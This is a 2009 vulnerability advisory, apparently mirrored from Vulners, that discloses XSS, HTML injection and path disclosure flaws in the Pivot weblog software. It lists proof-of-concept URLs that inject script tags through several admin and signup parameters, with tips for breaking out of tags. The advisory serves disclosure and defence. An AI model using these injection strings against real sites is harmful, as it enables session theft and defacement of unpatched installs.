Pivot 1.40.4-7 XSS / HTML Injection

Description

`Pivot - XSS and HTML Injection Vulnerabilities
Versions Affected: 1.40.4 and 1.40.7 (22nd March 2009) (newest)
Info: Pivot is a web-based tool to help you maintain dynamic sites, like
weblogs or online journals. Pivot is released under the GPL so it is
completely free to use. It is written in PHP, and does not require
additional libraries or databases to function.
Credits: InterN0T
External Links:
http://www.pivotlog.net/
-:: The Advisory ::-
Vulnerable Function / ID Calls:
url, menu, sort, check[], edituser, edit, blog, cat.
Path Disclosure:
http://[HOST]/pivot/pivot/tb.php?tb_id=1&url='
Cross Site Scripting: (can only be triggered when One is not logged in).
http://[HOST]/pivot/pivot/index.php?menu="&gt;&lt;script&gt;alert(0)&lt;/script&gt;&lt;br
Cross Site Scripting: (triggers on logged in administrators only) [low
or no impact due to session-key in url]
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&sort="&gt;&lt;script&gt;alert(0)&lt;/script&gt;
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&doaction=1&action=delete&check[]='&gt;&lt;script&gt;alert(0)&lt;/script&gt;
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&doaction=1&action=delete&check['&gt;&lt;script&gt;alert(0)&lt;/script&gt;]=0
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func=admin&do=edituser&edituser=&lt;/title&gt;&lt;script&gt;alert(0)&lt;/script&gt;
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func=admin&do=templates&edit=&lt;script&gt;alert(0)&lt;/script&gt;
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func=admin&do=blog_edit1&blog="&gt;&lt;script&gt;alert(0)&lt;/script&gt;
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func=admin&do=cat_edit&cat="&gt;&lt;script&gt;alert(0)&lt;/script&gt;
Cross Site Scripting using Post Method: (triggers on logged in
administrators only) [low impact - see above] &lt;&lt; Filter Field.
'&gt;&lt;script&gt;alert(0)&lt;/script&gt; in
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&doaction=1
HTML Injection: (this will only affect the user logged in apparently..)
http://[HOST]/pivot/pivot/user.php?func=edit_prefs&w=my_weblog
sign up formular (all fields might be, but url is recommended to use)
(use "&gt; to escape tag)
http://[HOST]/pivot/pivot/user.php?func=reg_user&w=my_weblog
http://[HOST]/pivot/pivot/user.php?func=reg_user&w=my_weblog
-- Set username to &lt;script&gt;alert(0)&lt;/script&gt;
--- It is possible to trigger it other places such as in the title or in
the "hidden" input variable.
---- Use "&gt; to escape the hidden tag and &lt;/title&gt; to escape the title tag.
Affected Admin Site:
http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func=admin&do=editcommuser&edituser=VALIDUSERHASH
-:: Solution ::-
The solution for this is not simple at all. I suggest a complete review
of the entire codebase.
Conclusion:
When we first checked the platform for vulnerabilities we had apparently
installed an old version, so we updated to the newest version which
apparently had some "XSS-bug fixed", strangely enough all the
vulnerabilities we found are still there.
Reference:
http://forum.intern0t.net/intern0t-advisories/1119-intern0t-pivot-1-40-4-7-multiple-vulnerabilities.html
Disclosure Information:
- Vulnerabilities found, researched and confirmed between 5th to 10th June.
- Advisory finished and published on InterN0T the 12th June.
- Vendor and Buqtraq (SecurityFocus) contacted the 12th June.
All of the best,
MaXe
`

All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018